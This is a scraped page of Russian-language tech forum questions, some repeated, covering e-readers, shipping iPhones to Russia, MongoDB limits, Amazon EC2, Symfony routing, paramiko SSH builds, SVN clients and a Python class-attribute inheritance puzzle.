E-book для технической литературы?
На данный момент выбор стоит между Nook'ом и Kindle 3. На 9,7" варианты денег пока нет.
Давно хотел Нук, но их новая ревизия не шьется, а pdf в стандартной прошивке читать невозможно.
Так вот вопрос, стоит ли париться, выискивая на ебее старые ревизии, или брать киндл и не парить мозг?
Хочу заказать книгу "Thinking in Java" на amazon?
До этого с интернет-шоппингом не сталкивался, интересуют советы «бывалых». :) Уже много информации быстро просмотрел, но в голове мозайка пока не сложилась. Хуже того, местами она противоречива. Например, в одном месте встречал упоминание о том, что в страны СНГ amazon доставляет книги и диски напрямую. В другом, что сейчас так не делают, либо это выходит слишком дорого и гораздо проще воспользоваться услугами посредника, например, shipito.
Если лаконично декомпозировать абзац выше, то интересует:
- Правда ли, что доставлять из британского amazon'а выходит быстрее и дешевле, чем из США? И как быть с конвертацией валют?
- Можно и нужно ли брать прямую доставку книги, если такая есть?
- Какой способ доставки выбрать?
- Что правильно вводить в shipping address? Особенно интересны такие поля, как ZIP, State/Province/Region, Address Line. Можно ли где-то это подсмотреть, чтобы не накосячить с транскрипцией?
Прочитал, что MongoDB имеет ограничение в 4Мб на документ. Я не ошибся?
Особенно не понятно, если рекомендуется де-нормализовать данные — например, хранить комментарии к комментарию…
comment:{Id:..., Text: ..., comments: []}
Это ведь упрешься в лимит и труба…
Чем отправить iPhone из США в Россию?
Подруга находится в США и может купить iPhone без контракта (~$650). Какой службой можно доставить его в Россию без особых напрягов? Насколько помню, DHL перестал отправлять посылки из США в Россию уже в марте.
Чем отправить iPhone из США в Россию?
Подруга находится в США и может купить iPhone без контракта (~$650). Какой службой можно доставить его в Россию без особых напрягов? Насколько помню, DHL перестал отправлять посылки из США в Россию уже в марте.
Instance у амазона продолжает учитываться если остановлен?
Если у меня инстанс приостановлен (через Stop), а не удален (Terminate), будет ли расти мой счет?
Вменяемое решение для загрузки картинок с TinyMCE+symfony 1.4?
Подскажите вменяемое решение для загрузки картинок через TinyMCE (или любой другой редактор) в symfony 1.4
Пробовал sfMediaBrowserPlugin, кривой, дерьмовый интерфейс.
Python Remote Objects — написанный код?
Вот здесь находится сайт их проекта — библиотека, позволяющая легко организовать распределенную архитектуру программы.
Сабж следующий.
Был ли у Вас опыт написания распределенных, приложений, на питоне — можете поделиться опытом?
Любое упоминание про актуальную информацию: статьи, названия учебников, тематические порталы, опен-сурс проекты, интересные исходники, краткое резюме существующих архитектур проектов(если такие бывают) — будут встречены с радостью и одобрением.
Спасибо.
Как обменять Яндекс.Деньги на webmoney без привязки кошельков?
Может через третьи сервисы (не прямой обмен), или через частных лиц? Что посоветуете?
Как заматчить в питоне многострочный текст регэкспом?
Как заматчить в питоне текст из файла регэкспом? не ограничиваясь \r\n.
Symfony vjCommentPlugin+sfGuardPlugin
Всем привет. Установил на свой проект оба плагина по ридми, всё встало и настроилось с полпинка.
Но вот проблема в добавлении коммента — щёлкаю по send comment, происходит редирект на эту же страницу, но уже с 404 ошибкой, у формы экшн пустой кстати, т.е сабмит должен идти на эту страницу.
Empty module and/or action after parsing the URL "/company/34/testcompany"
щёлкаю по адресной строке жму ентер, происходит рефреш и страница отображается нормально.
В чём может быть проблема? Да и комменты в БД не добавляются кстати, т.е на рефреше всё стопорится.
Спасибо за любую помощь.
Как правильно ввезти и оформить Iphone 3g в Украине
Родственник из Канады купил и хочет переслать мне Iphone 3g. Вопрос следующий: ввиду последний нововведений в областях таможенного контроля и регистрации аппаратов в УДЦР, как правильно оформить пересылку. Подскажите, кто сталкивался.
p.s. Ах да, забыл, какую службу доставки порекомендуете?
E-book для технической литературы?
На данный момент выбор стоит между Nook'ом и Kindle 3. На 9,7" варианты денег пока нет.
Давно хотел Нук, но их новая ревизия не шьется, а pdf в стандартной прошивке читать невозможно.
Так вот вопрос, стоит ли париться, выискивая на ебее старые ревизии, или брать киндл и не парить мозг?
Хочу заказать книгу "Thinking in Java" на amazon?
До этого с интернет-шоппингом не сталкивался, интересуют советы «бывалых». :) Уже много информации быстро просмотрел, но в голове мозайка пока не сложилась. Хуже того, местами она противоречива. Например, в одном месте встречал упоминание о том, что в страны СНГ amazon доставляет книги и диски напрямую. В другом, что сейчас так не делают, либо это выходит слишком дорого и гораздо проще воспользоваться услугами посредника, например, shipito.
Если лаконично декомпозировать абзац выше, то интересует:
- Правда ли, что доставлять из британского amazon'а выходит быстрее и дешевле, чем из США? И как быть с конвертацией валют?
- Можно и нужно ли брать прямую доставку книги, если такая есть?
- Какой способ доставки выбрать?
- Что правильно вводить в shipping address? Особенно интересны такие поля, как ZIP, State/Province/Region, Address Line. Можно ли где-то это подсмотреть, чтобы не накосячить с транскрипцией?
Прочитал, что MongoDB имеет ограничение в 4Мб на документ. Я не ошибся?
Особенно не понятно, если рекомендуется де-нормализовать данные — например, хранить комментарии к комментарию…
comment:{Id:..., Text: ..., comments: []}
Это ведь упрешься в лимит и труба…
Чем отправить iPhone из США в Россию?
Подруга находится в США и может купить iPhone без контракта (~$650). Какой службой можно доставить его в Россию без особых напрягов? Насколько помню, DHL перестал отправлять посылки из США в Россию уже в марте.
Чем отправить iPhone из США в Россию?
Подруга находится в США и может купить iPhone без контракта (~$650). Какой службой можно доставить его в Россию без особых напрягов? Насколько помню, DHL перестал отправлять посылки из США в Россию уже в марте.
Instance у амазона продолжает учитываться если остановлен?
Если у меня инстанс приостановлен (через Stop), а не удален (Terminate), будет ли расти мой счет?
Вменяемое решение для загрузки картинок с TinyMCE+symfony 1.4?
Подскажите вменяемое решение для загрузки картинок через TinyMCE (или любой другой редактор) в symfony 1.4
Пробовал sfMediaBrowserPlugin, кривой, дерьмовый интерфейс.
Python Remote Objects — написанный код?
Вот здесь находится сайт их проекта — библиотека, позволяющая легко организовать распределенную архитектуру программы.
Сабж следующий.
Был ли у Вас опыт написания распределенных, приложений, на питоне — можете поделиться опытом?
Любое упоминание про актуальную информацию: статьи, названия учебников, тематические порталы, опен-сурс проекты, интересные исходники, краткое резюме существующих архитектур проектов(если такие бывают) — будут встречены с радостью и одобрением.
Спасибо.
Как обменять Яндекс.Деньги на webmoney без привязки кошельков?
Может через третьи сервисы (не прямой обмен), или через частных лиц? Что посоветуете?
Как заматчить в питоне многострочный текст регэкспом?
Как заматчить в питоне текст из файла регэкспом? не ограничиваясь \r\n.
Symfony vjCommentPlugin+sfGuardPlugin
Всем привет. Установил на свой проект оба плагина по ридми, всё встало и настроилось с полпинка.
Но вот проблема в добавлении коммента — щёлкаю по send comment, происходит редирект на эту же страницу, но уже с 404 ошибкой, у формы экшн пустой кстати, т.е сабмит должен идти на эту страницу.
Empty module and/or action after parsing the URL "/company/34/testcompany"
щёлкаю по адресной строке жму ентер, происходит рефреш и страница отображается нормально.
В чём может быть проблема? Да и комменты в БД не добавляются кстати, т.е на рефреше всё стопорится.
Спасибо за любую помощь.
Как правильно ввезти и оформить Iphone 3g в Украине
Родственник из Канады купил и хочет переслать мне Iphone 3g. Вопрос следующий: ввиду последний нововведений в областях таможенного контроля и регистрации аппаратов в УДЦР, как правильно оформить пересылку. Подскажите, кто сталкивался.
p.s. Ах да, забыл, какую службу доставки порекомендуете?
JQuery, JSON, iframe и кавычки вместе не работают?
Произвожу upload файла в iframe(по другому вроде никак). В качестве ответа генерирую JSON объект где одно из полей это строчка с html описывающим ошибку.
Вопрос: Как мне забрать этот ответ от сервера его не побив?
Когда использую .text() из JQuery все теги удаляются.
Когда использую .html() из JQuery он «исправляет» html и после этого не возможно сделать десериализацию JSON потому-что кавычки теряют экранирующий символ. получаем Invalid JSON.
Чего посоветуете использовать для подмены веб запросов?
fakeweb или webmock?
Можно комментариями здесь, либо проголосовать.
Где переводить WMZ с минимальной комисиией?
Комиссия получается в трёх местах — при переводе рублей себе на кошелёк, при переводе рублей в доллары, при переводе долларов исполнителю. Дороговато получается
Неродные наушники для iPhone
За пару лет использования родные «уши» пришли в совершенно непотребное состояние. Читал, что это неминуемо для Apple'овских наушников (сперва слетают резинки на концах, потом остальное разлетается).
Можете посоветовать качественные наушники других фирм? Естественно, надо чтобы можно было не только музыку слушать, но и пользоваться для разговоров (не обязательно такая же «кнопка», как в родных ушах, но функционал должен быть не меньшим).
Среда разработки многоанетных систем на Python (аналог JADE для Java)?
Собственно, сабж. Знает ли кто-нибудь аналог JADE? Хотелось бы, чтобы она была совместима с FIPA. Если кто сталкивался с этим, с удовольствием бы услышал опыт проектирования таких систем.
Спасибо!
Способы принимать donations для eng сайтов помимо Paypal?
Какие еще есть варианты именно для зарубежных сайтов? Пейпал вполне устраивает и используется, но у некоторых пользователей к нему ненависть :)
Mongo и рекламная аналитика
Господа, а имеется ли у кого-то из вас опыт использования Mongo для хранения данных по рекламным показам/кликам и пр.? Я так прикинул, что для этой задачи Монго был бы вполне на своём месте.
Какие могут быть подводные камни?
Symfony framework голосование
Есть ли плагин для симфони, который реализует простенькую голосовалку + и — ?
Или статьи на эту тему, искал не нашёл пока ничего.
Спасибо.
Python + paramiko + shell script?
Добрый день!
Передо мной стоит следующая задача — создать SSH соединение с сервером, залить по SFTP файлы (конкретно — сорцы) и запустить там скрипт сборки.
Делаю это на Python с помощью paramiko. Все ок кроме собственно запуска скрипта. Запускаю его через exec_command и вижу только пару первых сообщений и далее скрипт прекращается (именно питоновский, значит exec_command отработал). Подскажите — как правильно подождать завершение работы скрипта и вывести все его сообщения?
Вот вырезки из кода:
paramiko.util.log_to_file('ssh_session.log')
ssh = SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(ssh_conf.server_address, ssh_conf.server_port, ssh_conf.login, None, my_pkey, 60)
except:
print 'Error connect'
sys.exit(1)
_sftp = ssh.open_sftp()
SyncFolders(_sftp, ssh_conf.source_folder, ssh_conf.dest_folder)
print ssh.exec_command('chmod +x' + ssh_conf.dest_folder + '/build.sh')[1].read()
# iOrange - performing build
print ssh.exec_command('sh ' + ssh_conf.dest_folder + '/build.sh')[1].read()
paramiko.util.log_to_file('ssh_session.log')
ssh = SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(ssh_conf.server_address, ssh_conf.server_port, ssh_conf.login, None, my_pkey, 60)
except:
print 'Error connect'
sys.exit(1)
_sftp = ssh.open_sftp()
SyncFolders(_sftp, ssh_conf.source_folder, ssh_conf.dest_folder)
print ssh.exec_command('chmod +x' + ssh_conf.dest_folder + '/build.sh')[1].read()
# iOrange - performing build
print ssh.exec_command('sh ' + ssh_conf.dest_folder + '/build.sh')[1].read()
Какой телефон выбрать?
Хочу завтра купить новый телефон, сменить свою нокиа е52 на что-то новое, смотрю в сторону iPhone 4 или HTC HD2.
Может кто-то еще чего-либо поинтереснее подскажет или пару аргументов подбросит?
Найти userscript, который отключает подгрузку изображений и скриптов с закешированного гуглем сайта?
На хабре как-то проскакивал скрипт для greasemonkey, который при открытии кеша гугля отключает загрузку изображений, скриптов и прочего с закешированного сайта. Открывается только контент прямиком с гугля.
Сегодня, когда ддосили хабр, такого скрипта очень не хватало. Найти теперь не могу, подскажите название или сразу ссылку.
Чат между Android и iPhone
Кто подскажет сервис для «чаттинга» двух человек, у одного — Android, у другого — iPhone.
Нужна программа с многозадачностью на iPhone. (Или Push-уведомлениями)
[maven] использование отсутствующей в репозиториях библиотеки
Доброго времени суток…
Хочу сделать на Java приложение с веб интерфейсом на основе JWT (http://www.webtoolkit.eu/jwt),
при этом в качестве системы сборки использовать maven. Но столкнулся с тем, что JWT в его репозиториях нету, поэтому вопрос — как можно добавить вручную библиотеку к проекту на maven? Если это имеет значение, то IDE — NetBeans 6.9.1
Порекомендуйте SVN сервер. Не очень дорогой, но надежный
По возможности не в Украине.
SVN сервер нужен не лично мне, а фирме на которую я работаю.
Цель найти дешевле чем выделенный сервер.
Потому что держать SVN в Украине (что сейчас и происходит) накладывает свои ограничения. Потому что были случаи конфискации серверов. И при этом останавливалась работа. Нужно исключить данные случае в будущем.
Актуальная прошивка для IPhone 3g?
Доброго времени суток. 5 лет пользовался симбиан-смартфонами и вот попал ко мне в постоянное пользование разлоченный IPhone 3g с прошивкой 4.0.2. и с жууткими тормозами. Подскажите, какую, на Ваш взгляд, актульную прошивку можно установить для такого аппарата. Если не трудно, поделитесь полезными ссылками по теме.
Спасибо.
json_encode в PHP: разрастание данных
В PHP есть встроенные средства преобразования данных в json. Рассмотрим пример:
echo json_encode(iconv('cp1251', 'utf-8', 'тест'));
Он вернет "\ u0442\ u0435\ u0441\ u0442" (пробелы дабы не искушать парсер) — это 26 байтов, а вовсе не 10, как хотелось бы.
Как же так?
Виртуализация для Mac os — что выбрать?
Опытные хабраюзеры посоветуйте, что использовать для виртуализации под мак?
Vmware Fusion
Parellels
В первую очередь интерисует производительность виртуализации Windows XP
Виртуализация, опять-таки — есть ли готовые инстансы W7, XP, etc?
Лень ставить с нуля, иногда сношу (со злости). Поставил W7 под Parallels — не всё так радужно оказалось на предпоследнем эдишне MBPro с самой простой видухой и 8 гигами памяти. Вот щас никак руки до установки XP не дойдут. Я находил вроде бы на Virtual PC сайте инстансы старинных систем, вот было бы хорошо, если бы существовало подобное для современных систем.
Можно ли получать push-уведомления на iPhone со своего сайта?
Не важно через какую программу, и каким способом (новым письмом, пингом, как RSS) главное чтобы можно было получать нужные сообщения в течение минуты-двух.
Symfony routing.yml, генерация URL
Всем привет есть 2 модуля
company и post,
post описан так:
post:
class: sfDoctrineRouteCollection
options: { model: BlogPost }
Не совсем понимаю как составить роут таким образом, что бы получить урл вида:
/company/24/mycompany/show/post/13
Если делать так (работать не будет конечно же):
post_new:
url: /company/:id/:title/show/:post/:post_id
param: { module: company, action: show }
class: sfDoctrineRoute
options: { model: BlogPost }
То тут можно указать только 1 модель, а как сделать так, что бы в генерации урла использовались 2 модели?
Спасибо.
class: sfDoctrineRouteCollection
options: { model: BlogPost }
url: /company/:id/:title/show/:post/:post_id
param: { module: company, action: show }
class: sfDoctrineRoute
options: { model: BlogPost }
Какой телефон выбрать?
Выбираю между iPhone 3G\3GS, HTC HD2 и HTC Desire. Нахожусь в лёгком замешательстве — что выбрать… Одинаково отношусь и к Android, и к WinMo, iOS не юзал вообще.
Вот. Прошу вашего совета :)
Ноутбук для видео монтажа с Canon 7D\5D mark II?
Добрый вечер!
В последнее время съёмки долгие и не дома, поэтому разыскивается верный друг, который будет хранить весь материал и позволит смонтировать его в риалтайме (проще говоря — воспроизведение проекта без лагов).
1) Софт: Adobe Premiere CS5 (он вроде пока лучше всех понимает исходные форматы с этих зеркалок)
2) Сумма: до 100т, но чем меньше — тем лучше. Естественно, купив ноут за 100т, всё будет летать, но я не собираюсь на нём делать ничего сложнее того о чём написал в заголовке, поэтому не думаю что такие растраты целесообразны.
3) Желательно услышать советы от тех, кто это проверял на практике и кто доволен результатом, но и теоретики тоже могу высказать свои предположения.
4) Только сегодня узнал про технологию CUDA в Premiere CS5, официально поддерживается несколько карт Quadro и GeForce GTX 285, что исключает возможность найти ноутбук который поддерживал бы эту технологию, но в этом посте говорится о том как можно обмануть CS5, но тут опять же нужны люди которые уже делали это и точно могут сказать что их карта поддерживает эту технологию и прирост существенен.
[TFS + git] как прикрутить git к TFS и ничего не сломать?
Доброго времени суток…
С одной стороны имеется TFS репозиторий, с которым мне надо работать, а с другой я хочу иметь локальный git репозиторий и локально работать с ним так, чтобы при коммите в master изменения накатывались на мою локальную копию с TFS, и можно было бы их коммитить уже на TFS. Ну и чтобы при обновлении в git, он обновлялся с локальной копии файлов, обновленных с TFS.
Так же подойдет любой другой способ прикрутить git к TFS, главное, чтобы ничего не сломать на TFS…
Заранее спасибо…
windows клиенты svn и git
Подскажите лучшие бесплатные клиенты под windows, желательно с интеграцией в проводник/IDE.
Нужно подсадить молодых разрабов на контроль версий.
Чем отправить iPhone из Лондона в Россию?
Друг находится в Лондоне и может купить iPhone (дешевле чем в России). Какой службой можно доставить его в Россию? Насколько это безопано? Сколько примерно будет стоить? Какие будут дополнительные сборы (таможенные и т.д.)?
Куда идти после php? Ruby или Python?
Собственно вопрос в заголовке :) Хочется услышать принципиальные различия между языками. Для каких задач что лучше подходит?
amazon ec2 : как использовать AMI который есть в USA в зоне EU
Есть конкретный инстанс AMI который рекомендован поставщиком услуг(wavemaker.com)
Однако данный AMI доступен только для USA
Как быть?
JailBreak для iPhone 4
Где можно подписаться на RSS, что бы узнать о выходе JailBreak для iPhone 4 c iOS 4.1 сразу по мере его появления? (На каком сайте публикуется достоверная, надежная информация по данному вопросу?)
Дело в том, что девайс изначально был с прошивкой 4.0.2, а способ даунгрейда на 4.0.1 не работает для iPhone 4 — поэтому жду JailBreak для 4.1.
P.S. Всем ответившим большое спасибо.
XP как маршрутизатор (решено) / ssh-туннель, VPN и айфон
Недавно поменял себе стабильный, но сравнительно медленный интернет по ADSL на более быстрый и более дешевый интернет по витой паре (впрочем, от того же провайдера). До этого на все компьютеры в доме интернет исправно раздавал себе ADSL модем/маршрутизатор. Сейчас пытаюсь настроить для этого старый ноутбук с XP.
Интернет подключается через стандартное «высокоскоростное подключение, запрашивающее имя пользователя и пароль». Пока на ноутбуке стоит 3proxy с http/socks, но хотелось бы избавиться от необходимости прописывать адрес прокси в программах.
Насколько я понимаю, в настройках подключения по локальной сети на других компьютерах можно указать «основной шлюз». Подскажите, что нужно сделать на ноутбуке, чтобы поставить его этим самым основным шлюзом на всех остальных устройствах?

P.S. Благодарю за ответы, проблема решена.
P.P.S. Пользуясь случаем, второй вопрос можно?
Там же на ноутбуке через PuTTY настроен ssh-туннель на штаты и socks-сервер, который туда при необходимости остальные компьютеры направляет.
Хочется возможности быстрого переключения обычный интернет/штатовский на айфоне. На нём можно прописывать прокси в настройках Wi-Fi, но каждый раз залазить и писать вручную — неудобно.
Быстрый способ, например, — тумблер VPN. Собственно, VPN-соединение с ноутбуком айфон устанавливает — на компьютере настроено входящее подключение, и при соединении пишется об 1 подключенном клиенте.


Есть ли способ заставить это VPN-подключение брать интернет у socks-сервера от PuTTY и отдавать айфону? Или можно ли установить туда какой-нибудь другой VPN-сервер, который это умеет?
CSS font-size для свойства text-overlflow?
Попробовал верстать под мобильные устройства, нужно чтобы слово, не помещающееся по ширине блока, не переносилось, а подгонялось по ширине(уменьшался размер шрифта). Может есть какие-то хитрости?
Как сделать инвайты на Rails 3
Типичная проблема: нужно сделать систему создания, отправки и валидации инвайтов для пользователей на рельсах.
Используется Authlogic.
Погуглил — ничего сразу не нашлось, а писать велосипед самому всегда успеется.
Клиент постоянно требует консультаций(бесплатных), как быть?
Сначала на этапе разработки сайта клиент постоянно мучал вопросами о сайте, о движке, о хостинге. Причём явно было видно что ему эти ответы нужны просто так, для интереса. Человек совершенно в этом всём не разбирается. Теперь когда настало время поисковой оптимизации клиент вообще залез на шею с вопросами «а почему так, а почему не так, объясните мне что вы делаете, зачем вы это делаете, как вы это делаете...». При попытке отказать в ответе получаешь кучу криков вида «Я ваш клиент, я деньги плачу! Я хочу знать что происходит с моим сайтом!». Сейчас на все эти разговоры тратится около 2х — 3х часов в день. Естественно, за это время никто и не думает ничего платить. Вот мне интересно, уважаемое хабрасообщество, как вы реагируете на такие случаи?
Оптимизация формы выдачи новостей, повредит или поможет сайту?
Сейчас на сайте около 300 новостных статей, собранных за несколько лет работы сайта.
Новости выводятся как www.mysite.com/news.php?id=299
Хочу сделать по-уму: www.mysite.com/news/my-mega-novost.htm
Технически я знаю как это сделать, вопрос не в том.
Хотелось бы узнать вот что:
1) Не повредит ли сайту такая рокировка с точки зрения поисковиков? Насколько я понимаю, сейчас все мои 300 статей проиндексированы как ?id=xxx.
2) У меня будут работать оба метода вызова статьи. Получается дублирование контента, что по идее тоже плохо…
Как в данной ситуации поступить грамотно? Читал про какую-то ошибку 303, но ничего не понял.
338   5   18:46, 13th August, 2020
[Amazon EC2] Можно ли установить Windows на Linux инстанцию (и меньше платить)?
Собственно, задался таким вопросом: можно ли установить свой Windows (лицензионный) на Linux-инстанцию Amazon EC2? Смысл в том, что Linux-инстанция стоит почти в 2 раза меньше денег.
Пробовал сделать так:
1. Создал Windows-инстанцию. Остановил и отсоединил диск.
2. Создал Линукс-инстанцию. Остановил и отключил диск.
3. Подключил диск с установленным Windows (тот самый, который предоставляет Amazon) к Линукс-инстанции как /dev/sda1.
4. Запустил Линукс-инстанцию (с замененным диском).
В результате машина запустилась, но подключиться по RDP или к Web-серверу не удалось (все нужные порты были открыты). Т.е., скорее всего, Windows не смогла запуститься, но как об этом узнать, ведь доступа по VNC нет…
Почему не запустилась — не понятно… Может для Линуска у них другая конфигурация машины?
Придумал другой способ: использовать Windows AIK для создания диска, с которого можно установить Windows автоматически. Но не уверен что это сработает.
Может кто уже занимался этим вопросом и может поделиться опытом?
Интернет сервисы для kindle 3?
Вот решил создать вопрос. Думаю будет полезен не только мне.
У Kindle есть возможность получать все книги и статьи отправленые на почту типа name@[free.]kindle.com, что позволяет загружать свежую информацию везде где есть интернет.
Нашел в сети instapaper.com — неплохая штука, можно отмечать стать для последуещего прочтения и скидывать их на читалку. Правда автоматически (у меня почему-то автоматом вообще не шлет) он это делает максимум раз в сутки и в неизвестное время. Если б время и частоту можно было бы задавать самому то было б вообще супер.
Кто еще какими сервисами пользуется?
Изучение платформы SharePoint 2010
Доброе время суток!
Хочу разработать корпоративный портал фирмы на базе SharePoint 2010. Есть установленный Windows Server 2008 c ролями DNS и DHCP. Но тестировать на нем как-то не хочется, ибо последствия могут быть весьма печальными. К счастью имеется VmWare Workstation 7 на моей машинке.
Скачал SharePoint Foundation 2010, а также все необходимые Prerequisites для SharePoint 2010. Так как SharePoint Foundation 2010 требует только 64-битной версии Windows Server 2008, начал искать образы на виртуальную машину. К сожалению, на VmWare образы не нашел. Скачал с сайта Microsoft trial образы Windows Server 2008 (VDH). Открыть их можно только в Hyper-V, который ставится на Windows Server 2008.
Замкнутый круг: чтобы запустить программу А, необходима программа Б, а чтобы запустить Б, необходима А.
Операционная система — Windows XP.
Каким образом можно все-же запустить Windows Server 2008 64-bit под Windows XP? Не знаете ли вы, есть ли образы Windows Server 2008 для WmWare? Или простые trial ISO образы сервера?
P.S. К сожалению второй машины нет, а то настроил бы там все.
проблема с svn copy, ошибка: RA layer request failed svn: Server sent unexpected
я предполагаю что это параметры доступа не пропускают команду.
но все же, кто знает, подскажите что вызывает эту проблему и как её решить.
полный текст ошибки выглядит так(из логов subclipse):
RA layer request failed
svn: Server sent unexpected return value (403 Forbidden) in response to COPY request for '/svn/site-www/!svn/bc/201/trunk'
Подскажите книгу по Python'у
Профессионально пишу на PHP, хочу попробовать и возможно в дальнейшем перейти на Python.
Посоветуйте наиболее полную и подробную книгу, желательно на русском и желательно доступную в электронном варианте.
Посоветуйте зеркалку, пожалуйста
Есть 50т.р., хочется зеркалку.
Тушку + оптику отдельно. Только canon. Был 1000d, я из него вырос. Есть оптика портретник canon 50 1.8.
Вспышку не надо, только тушка и оптика.
Фотать буду портрет, пейзаж, просто фотки обычные, постановочные. Никакого спорта, репортажей и т.д.
python, применение locale.setlocale
Есть два хоста, один с серверной Ubuntu 10.04, второй — с Linux Mint Rosinka 8.
Есть python-скрипт, парсящий html, передающий GETом данные в форму и проч.
На хосте с Ubuntu скрипт работает, на хосте с Mint — нет, т.к. махинации с кириллическими символами почему-то уже не срабатывают.
Единственная важная (имхо) разница между хостами — локаль:
LANG=ru_RU.UTF-8 — на Mint
LANG=en_US.UTF-8 — на Ubuntu
Пробовал добавить в скрипт на минте
import locale
locale.setlocale(locale.LC_ALL, "en_US.UTF-8"),
но никакого толку.
В питоне не эксперт, выбрал его для того скрипта просто интереса ради. Еле победил кириллицу на убунтовском серваке, а тут дальше такой факап…
Может, кто сталкивался с подобным?
locale.setlocale(locale.LC_ALL, "en_US.UTF-8")
Вопрос про SVN?
У меня есть репозитории, их много, есть очень большие, содержащие видео файлы. При переименовании таких больших папок в этих репозиториях через TortoiseSVN, очень грузится система.
Как решить эту проблему?
В официальной документации на Subversion мне лично так и не удалось найти информации по механизмам переименования.
Где подсмотреть?
Python и COM-объекты?
1
Запускаем в PythonWin — > Tools — > COM Browser — >
смотрим название интересующей нас библиотеки в «Registered Type Libraries» — >
запускаем python.exe — >
>>> import win32com.client.makepy as makepy<br/>
>>> makepy.ShowInfo('название интересующей нас библиотеки, которое мы нашли в Registered Type Libraries')
— > ура! он нам сгенерит модуль, который поместит в специальную папку <module 'win32com.gen_py.название-модуля-из-большого-количества-букв-и-цифр' from 'C:\Python26\lib\site-packages\win32com\gen_py\название-модуля-из-большого-количества-букв-и-цифр'>
И этот модуль, с большущим, неимпортируемым названием, реально появится в той папке — .../gen_py
А вопрос вот в чем. Что с этим модулем можно сделать дальше? И, соответственно — как?
2
С помощью win32com.client.Dispatch('название-чего-то') мы можем обращаться к интерфейсам, которые указаны в спецификациях. И делать с ними то, что там указано.
Однако, если мы не знаем «названия-этого-чего-то» — как найти и использовать то, что нам позволяет делать запущенный и действующий сервер COM-объектов?
Интересует конкретно — как обратиться к интерфейсам?
По сути оба вопроса об одном и том же — два дня пытаюсь что-то сделать, но идеей пока не проникся.
>>> import win32com.client.makepy as makepy<br/>
>>> makepy.ShowInfo('название интересующей нас библиотеки, которое мы нашли в Registered Type Libraries')
Где "обитают" Iphone Developerы?
Потребовалось заказать разработку приложения по Iphone, а где найти разработчика не пойму.
На фриланс не посылать
Разъясните нюанс в наследовании класов в Python?
Есть такой код:
<font color="black"><a href="http://s-c.me/9339/s">Copy Source</a> | <a href="http://s-c.me/9339/h">Copy HTML</a><ol>
<li><font color="#008000">'''</font><br/>
<font color="#008000">Базовый класс</font><br/>
<font color="#008000">'''</font></li>
<li><font color="#0000ff">class</font> <font color="#cc6633">Component</font>():</li>
<li> </li>
<li> connects = []</li>
<li> </li>
<li> <font color="#008000">'''</font><br/>
<font color="#008000"> Метод добавляе объект в коллекцию</font><br/>
<font color="#008000"> '''</font></li>
<li> <font color="#0000ff">def</font> <font color="#cc6633">connect</font>(self, object):</li>
<li> <b>self</b>.connects.append(object)</li>
<li> </li>
<li> </li>
<li><font color="#008000">'''</font><br/>
<font color="#008000">Подкласс 1</font><br/>
<font color="#008000">'''</font></li>
<li><font color="#0000ff">class</font> <font color="#cc6633">Component1</font>(<font color="#cc6633">Component</font>):</li>
<li> </li>
<li> <font color="#0000ff">def</font> <font color="#cc6633">getData</font>(self):</li>
<li> <font color="#0000ff">print</font> <font color="#008000">123</font></li>
<li> </li>
<li> </li>
<li><font color="#008000">'''</font><br/>
<font color="#008000">Подкласс 2</font><br/>
<font color="#008000">'''</font></li>
<li><font color="#0000ff">class</font> <font color="#cc6633">Component2</font>(<font color="#cc6633">Component</font>):</li>
<li> </li>
<li> <font color="#0000ff">def</font> <font color="#cc6633">getData</font>(self):</li>
<li> <font color="#0000ff">print</font> <font color="#008000">123</font></li>
<li> </li>
<li> </li>
<li> </li>
<li><font color="#008000">'''</font><br/>
<font color="#008000">Инстанцируем</font><br/>
<font color="#008000">'''</font></li>
<li>c1 = <font color="#cc6633">Component1</font>()</li>
<li>c2 = <font color="#cc6633">Component2</font>()</li>
<li> </li>
<li><font color="#008000">'''</font><br/>
<font color="#008000">Проверяем кол-во элементов в подклассе 2</font><br/>
<font color="#008000">'''</font></li>
<li><font color="#0000ff">print</font> <b>len</b>(<font color="#cc6633">Component2</font>.connects) <font color="#696969"># 0</font></li>
<li> </li>
<li><font color="#008000">'''</font><br/>
<font color="#008000">Добавляем первому подклассу в объект коллекцию</font><br/>
<font color="#008000">'''</font></li>
<li>c1.<font color="#cc6633">connect</font>(c2)</li>
<li> </li>
<li><font color="#008000">'''</font><br/>
<font color="#008000">Проверяем кол-во элементов в подклассе 2</font><br/>
<font color="#008000">'''</font></li>
<li><font color="#0000ff">print</font> <b>len</b>(<font color="#cc6633">Component2</font>.connects) <font color="#696969"># 1 </font></li>
</ol></font>
Почему меняется кол-во элементов в коллекции второго объекта, если я добавляю элемент к коллекции первого объекта?
<font color="black"><a href="http://s-c.me/9339/s">Copy Source</a> | <a href="http://s-c.me/9339/h">Copy HTML</a><ol>
<li><font color="#008000">'''</font><br/>
<font color="#008000">Базовый класс</font><br/>
<font color="#008000">'''</font></li>
<li><font color="#0000ff">class</font> <font color="#cc6633">Component</font>():</li>
<li> </li>
<li> connects = []</li>
<li> </li>
<li> <font color="#008000">'''</font><br/>
<font color="#008000"> Метод добавляе объект в коллекцию</font><br/>
<font color="#008000"> '''</font></li>
<li> <font color="#0000ff">def</font> <font color="#cc6633">connect</font>(self, object):</li>
<li> <b>self</b>.connects.append(object)</li>
<li> </li>
<li> </li>
<li><font color="#008000">'''</font><br/>
<font color="#008000">Подкласс 1</font><br/>
<font color="#008000">'''</font></li>
<li><font color="#0000ff">class</font> <font color="#cc6633">Component1</font>(<font color="#cc6633">Component</font>):</li>
<li> </li>
<li> <font color="#0000ff">def</font> <font color="#cc6633">getData</font>(self):</li>
<li> <font color="#0000ff">print</font> <font color="#008000">123</font></li>
<li> </li>
<li> </li>
<li><font color="#008000">'''</font><br/>
<font color="#008000">Подкласс 2</font><br/>
<font color="#008000">'''</font></li>
<li><font color="#0000ff">class</font> <font color="#cc6633">Component2</font>(<font color="#cc6633">Component</font>):</li>
<li> </li>
<li> <font color="#0000ff">def</font> <font color="#cc6633">getData</font>(self):</li>
<li> <font color="#0000ff">print</font> <font color="#008000">123</font></li>
<li> </li>
<li> </li>
<li> </li>
<li><font color="#008000">'''</font><br/>
<font color="#008000">Инстанцируем</font><br/>
<font color="#008000">'''</font></li>
<li>c1 = <font color="#cc6633">Component1</font>()</li>
<li>c2 = <font color="#cc6633">Component2</font>()</li>
<li> </li>
<li><font color="#008000">'''</font><br/>
<font color="#008000">Проверяем кол-во элементов в подклассе 2</font><br/>
<font color="#008000">'''</font></li>
